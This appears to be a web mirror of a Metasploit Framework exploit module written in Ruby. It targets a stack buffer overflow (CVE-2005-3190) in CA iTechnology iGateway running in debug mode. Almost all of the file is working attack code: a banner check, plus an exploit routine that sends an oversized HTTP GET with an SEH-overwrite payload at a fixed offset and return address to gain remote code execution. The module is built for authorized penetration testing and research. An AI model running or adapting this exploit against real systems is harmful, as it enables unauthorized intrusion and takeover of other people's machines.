Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/ca_igateway_debug.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
17
'Description' => %q{
18
This module exploits a vulnerability in the Computer Associates
19
iTechnology iGateway component. When <Debug>True</Debug> is enabled
20
in igateway.conf (non-default), it is possible to overwrite the stack
21
and execute code remotely. This module works best with Ordinal payloads.
22
},
23
'Author' => 'aushack',
24
'License' => MSF_LICENSE,
25
'References' => [
26
[ 'CVE', '2005-3190' ],
27
[ 'OSVDB', '19920' ],
28
[ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
29
[ 'EDB', '1243' ],
30
[ 'BID', '15025' ],
31
],
32
'DefaultOptions' => {
33
'EXITFUNC' => 'seh',
34
},
35
'Payload' => {
36
'Space' => 1024,
37
'BadChars' => "\x00\x0a\x0d\x20",
38
'StackAdjustment' => -3500,
39
'Compat' =>
40
{
41
'ConnectionType' => '+ws2ord',
42
},
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
[ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
47
],
48
'Privileged' => true,
49
'DisclosureDate' => '2005-10-06',
50
'DefaultTarget' => 0,
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
59
register_options(
60
[
61
Opt::RPORT(5250),
62
]
63
)
64
end
65
66
def check
67
connect
68
sock.put("HEAD / HTTP/1.0\r\nHost: #{rhost}\r\n\r\n")
69
banner = sock.get_once
70
71
if (banner.to_s =~ /GET and POST methods are the only methods supported at this time/) # Unique?
72
return Exploit::CheckCode::Detected
73
end
74
75
return Exploit::CheckCode::Safe
76
end
77
78
def exploit
79
connect
80
81
seh = generate_seh_payload(target.ret)
82
buffer = Rex::Text.rand_text_alphanumeric(5000)
83
buffer[1082, seh.length] = seh
84
sploit = "GET /" + buffer + " HTTP/1.0"
85
86
sock.put(sploit + "\r\n\r\n\r\n")
87
88
disconnect
89
handler
90
end
91
end
92
93